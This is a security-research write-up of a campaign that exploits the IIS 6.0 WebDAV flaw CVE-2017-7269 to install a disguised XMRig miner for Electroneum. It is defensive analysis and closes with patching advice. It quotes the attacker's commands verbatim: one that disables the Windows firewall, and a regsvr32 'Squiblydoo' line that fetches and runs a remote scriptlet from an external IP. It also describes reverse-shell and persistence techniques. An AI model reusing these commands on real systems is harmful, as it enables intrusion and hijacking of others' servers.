F5 researchers recently noticed a new campaign exploiting a vulnerability in Microsoft Internet Information Services (IIS) 6.0 servers (CVE–2017–72691) in order to mine Electroneum crypto-currency. Last year, ESET security researchers reported that the same IIS vulnerability was abused to mine Monero2, and install malware to launch targeted attacks3 against organizations by the notorious “Lazarus” group. Lazarus is widely believed to be North Korean government hackers.4 This new campaign shows that there are still systems vulnerable to this year-old vulnerability on an operating system that was declared End-of-Life (EoL) three years ago.
- The campaign targets Windows IIS 6.0 servers through a vulnerability (CVE-2017-7269) released over a year ago.
- The "Squiblydoo" technique used to download and execute the malware.
- The malware binary is proxy aware and uses Transport Layer Security (TLS) encryption.
- The author named the malware file "lsass.eXe", likely to camouflage it as the legitimate lsass.exe process.
- Almost all the attacks are coming from the US or China, and the malware hosting server resides in Beijing, China, inside China Unicom’s network.
Attackers Target Year-Old Vulnerability (CVE–2017–7269) Against EOL IIS 6.0
In March 2017, it was publicly disclosed that Microsoft Internet Information Services (IIS) 6.0 is vulnerable to a new buffer overflow vulnerability in its WebDAV functionality. On successful exploitation, it is possible to remotely execute code. Upon release, it was reported that the vulnerability was already being exploited in the wild. Within two days, a Proof-of-Concept (POC) exploit was published5.
IIS 6.0 is mainly, but not exclusively, part of Microsoft Windows Server 2003 Operating System (OS), which was placed into an “end of support” status by Microsoft two years prior to the vulnerability being released. At the time the vulnerability was released, Microsoft announced that the bug wouldn’t be fixed as the OS was EOL. Soon after Microsoft published a patch6 addressing the issue as there were still many servers running that OS, and exploit campaigns were active.
Shellcode Analysis
The exploit in this campaign is identical to the original POC7 but embeds a different shellcode to execute attacker’s commands.
Figure 1: Original malicious HTTP request
The shellcode itself is an ASCII shellcode which contains a Return-Oriented Programming (ROP)1 chain. ASCII shellcode is machine code that consists entirely of alphanumeric ASCII or Unicode characters, which allows an attacker to bypass input restrictions. The ROP exploitation technique composes shellcode from instructions already loaded into memory, called “gadgets”, instead of writing and executing additional external code into memory. This allows attackers to bypass security mechanisms such as executable space protection, and code signing.
Figure 2: Showing the HEX values of the shellcode in the HTTP request
The execution of this shellcode results in opening a reverse shell to a malicious remote server. A reverse shell is a type of shell in which the target machine communicates back to attacker’s remote machine and waits for the attacker to send shell commands.
Reverse Shell
Once the compromised server is connected to the attacker’s remote machine, it will automatically receive and execute two commands, as shown in Figure 3.
Figure 3: Commands issued by attacker’s remote server.
First Command
CD /d %WinDir%\Temp\ & Net Stop SharedAccess /Y
This command stops the “Internet Connection Firewall (ICF)” service, which if present, may block outgoing communication from the compromised machine.
Second Command
TaskKill /IM RegSvr32.exe /f & Start RegSvr32.exe /s /n /u /i:http://117.79.132.174/images/test.sct scrobj.dll
Here, the attacker chose to use a technique named “Squiblydoo”1 to bypass software allowlisting protection by executing attacker commands with a legitimate Microsoft binary. It allows the attacker to fetch and execute a remote Extensible Markup language (XML) file that contains “scriptlets” with attacker’s code of choice, using a legitimate and signed “regsvr32” Windows binary. This binary is proxy aware, uses Transport Layer Security (TLS), and follows redirects.
Malware Hosting Server
The remote server hosting the malware called in the second command is located in Beijing, China within China Unicom’s network, as shown in Figure 4.
Figure 4: Malware server
Executing the Scriptlets
The downloaded XML file named “test.sct” contains scriptlets (which are VBscript), that hold attackers commands as well as some Base64 binary-to-text encoded data.
Figure 5: The remote scriptlets file
The Microsoft Visual Basic Scripting (VBScript) shown in Figure 6 is interesting as the attacker didn’t take the time to remove his comments.
Figure 6: Binary data encoded with base64 in the scriptlets file
Updating the Malware
If the attacker compromised the server previously, the script will stop and replace the old binary file with a new one before execution.
In the script shown in Figure 7 under the “for Update” comment, the attacker tries to terminate a process of a specific file named “lsass.eXe” that is located in Windows OS folder under the path of “/System32/Temp”.
Figure 7: The responsible code (redacted for simplicity)
The name “lsass.eXe” was chosen in order to mask the malicious file as a legitimate “lsass” process, a critical part of Windows.
To make sure that the process terminates before the script tries to delete the file, the attacker uses the “ping” command to delay script execution, as shown in Figure 8. Our assumption is that the attacker chose to use the “ping” command over the sleep command because it is less suspicious. The “sleep” command appears to be commented out.
Figure 8: Ping command
After performing these commands, the script creates a new file in the same location with the same name using the binary data from the Base64 string (variable “Bytes”) and executes it.
Figure 9: Bytes variable
Getting Persistence as RPC Service
To maintain persistence on the captured server, the script tries to register the execution command as an “RpcRemote” service.
The service is configured to launch itself upon every system startup, which will grant persistence on the target as shown in figure 10. The name “RpcRemote” was chosen to make it look like a legitimate component of the operation system.
Figure 10: RpcRemote service gaining persistency for crypto-mining
Mining Electroneum
By looking at the command line executed by the script, we assume that the executable file is a crypto-currency miner. The clues are to be found in the “-p” and ”-u” arguments, “stratum+tcp://” address, as well as the long wallet address starting with the “etn” letters, implies Electroneum (ETN) crypto-coin.
The file itself is a 32bit version of a crypto-currency miner called XMRig (2.5.2) that was packed using the "Ultimate Packer for Executables" UPX packer, as shown in Figure 11.
Figure 11: XMRig packed with UPX packer.
Figure 12 shows that the miner was compiled on March 26, 2018.
Figure 12: XMRig version and compilation date.
Electroneum Wallet Address
The execution command instructs the miner to mine the Electroneum crypto-currency using several pools simultaneously to this wallet:
etnjzC1mw32gSBsjuYgwWKH5fZH6ca45MDxi6UwQQ9C8GJErY3rVrqJA8sDtPKMJXsPuv4vdSyDzGVTVqgAh97GT8smQMoUaQn
At the time of writing, the attacker has earned roughly $99 USD from the campaign across both pools. This is a very small amount of money earned given how lucrative most crypto-mining campaigns are currently, making this campaign appear unsuccessful. One theory is that the attacker will change the wallet address from time to time. Another theory is that there aren’t many IIS 6.0 servers available to exploit left.
Figure 13: Wallet statistic on nanopool.org
Figure 14: Wallet statistic on electroneum.hashvault.pro
Summary
We are going to continue to see new crypto-mining campaigns through the foreseeable future as it is quickly becoming a more profitable attack than the data theft and black market resale schemes of the past. Although these attackers haven’t made much money on this campaign yet, it still points a glaring spotlight on the fact that there are enough end of life systems around to make it worth the attackers while to create new exploit campaigns.
We encourage all businesses to abandon the use of EOL software in every instance possible. Recognizing that this is not always feasible, we recommend patching any critical vulnerability immediately upon release of the patch. If patching is not possible, there are many compensating controls that can be implemented depending on your security control framework such as blocking attacks with a Web Application Firewall (WAF), or not allowing vulnerable legacy systems to touch the internet.
